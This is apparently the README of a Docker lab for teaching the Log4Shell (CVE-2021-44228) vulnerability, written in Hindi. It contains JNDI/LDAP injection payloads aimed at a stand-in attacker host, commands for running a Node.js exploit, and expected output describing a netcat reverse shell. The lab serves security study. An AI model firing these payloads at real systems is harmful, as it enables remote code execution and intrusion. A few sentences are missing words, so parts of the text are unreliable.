
लॉग4शेल (CVE-2021-44228) RCE शोषण का प्रदर्शन करने वाली एक कमजोर Java एप्लिकेशन, LDAP रीडायरेक्टर और स्वचालित शोषण स्क्रिप्ट के साथ डॉकर-आधारित शैक्षिक प्रयोगशाला।
अस्वीकरण
यह प्रयोगशाला विशेष रूप से शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए बनाई गई है। सभी ट्रैफ़िक एक पृथक Docker नेटवर्क के भीतर होता है। इस सामग्री का उपयोग वास्तविक सिस्टम या स्पष्ट अनुमति के बिना न करें। दुरुपयोग अपराध हो सकता है। जिम्मेदारी से उपयोग करें।
Log4Shell एक गंभीर भेद्यता (CVSS 10.0) है जो दिसंबर 2021 में Apache Log4j 2 लॉगिंग लाइब्रेरी में खोजी गई थी, जो Java अनुप्रयोगों में व्यापक रूप से उपयोग की जाती है।
Log4j में अभिव्यक्ति इंटरपोलेशन सुविधा है: किसी संदेश को लॉग करते समय, यह ${...} प्रारूप में स्ट्रिंग का मूल्यांकन करता है। उदाहरण के लिए, ${java:version} रनटाइम पर Java संस्करण द्वारा प्रतिस्थापित किया जाता है।
समस्या JNDI (Java Naming and Directory Interface) प्रोटोकॉल के समर्थन में है। जब Log4j को इस तरह की अभिव्यक्ति मिलती है:
${jndi:ldap://atacante.com/exploit}
यह JVM को हमलावर के सर्वर पर LDAP क्वेरी करने का निर्देश देता है। सर्वर एक दूरस्थ Java वर्ग के संदर्भ के साथ उत्तर देता है — और JVM उस वर्ग को करता है, जिसके परिणामस्वरूप होता है।
हमले का वेक्टर सरल है: कोई भी फ़ील्ड जो सर्वर द्वारा लॉग की जाती है (HTTP headers, फॉर्म फ़ील्ड, कुकीज़, आदि) पेलोड का प्रवेश बिंदु हो सकती है।
2.0-beta9 से 2.14.12.15.0 में ठीक किया गया (और निश्चित रूप से 2.17.0 में)लैब भेद्य संस्करणों का उपयोग करके एक वास्तविक Java अनुप्रयोग का अनुकरण करता है।
| घटक | संस्करण | यह भेद्य क्यों है |
|---|---|---|
| Apache Log4j | 2.14.1 | बिना किसी प्रतिबंध के ${jndi:...} का मूल्यांकन करता है |
| JDK | 1.8.0_181 | पैच 8u191 से पहले जो trustURLCodebase=false सेट करता है |
| Spring Boot | 2.5.6 | केवल वेब फ्रेमवर्क; भेद्यता Log4j की है |
GET http://localhost:8080/log
निम्नलिखित हेडर सीधे Log4j द्वारा लॉग किए जाते हैं — उनमें से कोई भी इंजेक्शन वेक्टर हो सकता है:
X-Api-VersionUser-AgentX-Auth-Tokenattacker)| सेवा | पोर्ट | कार्य |
|---|---|---|
| marshalsec (LDAP) | 1389 | JNDI lookup प्राप्त करता है और HTTP सर्वर पर रीडायरेक्ट करता है |
| Python HTTP सर्वर | 8888 | पीड़ित की JVM के लिए Exploit.class परोसता है |
| netcat listener | 9001 | रिवर्स शेल कनेक्शन प्राप्त करता है |
docker-compose up --build
तब तक प्रतीक्षा करें जब तक आप लॉग में न देखें:
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds
दूसरे टर्मिनल में, Node.js एक्सप्लॉइट चलाएँ:
node exploit/exploit.js
अपेक्षित आउटपुट:
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target : http://localhost:8080/log
[*] Header : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
[+] Response : 200 OK
[+] Body : logged
[+] Payload delivered — check the attacker nc listener on port 9001
उस टर्मिनल का निरीक्षण करें जहाँ docker-compose चल रहा है। attacker कंटेनर के लॉग में आप पोर्ट 9001 पर रिवर्स शेल कनेक्शन आता देखेंगे।
भेद्य ऐप के अंदर touch /tmp/pwned की पुष्टि करने के लिए:
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"
द्वारा Guaxinim | साइबर सुरक्षा अनुसंधान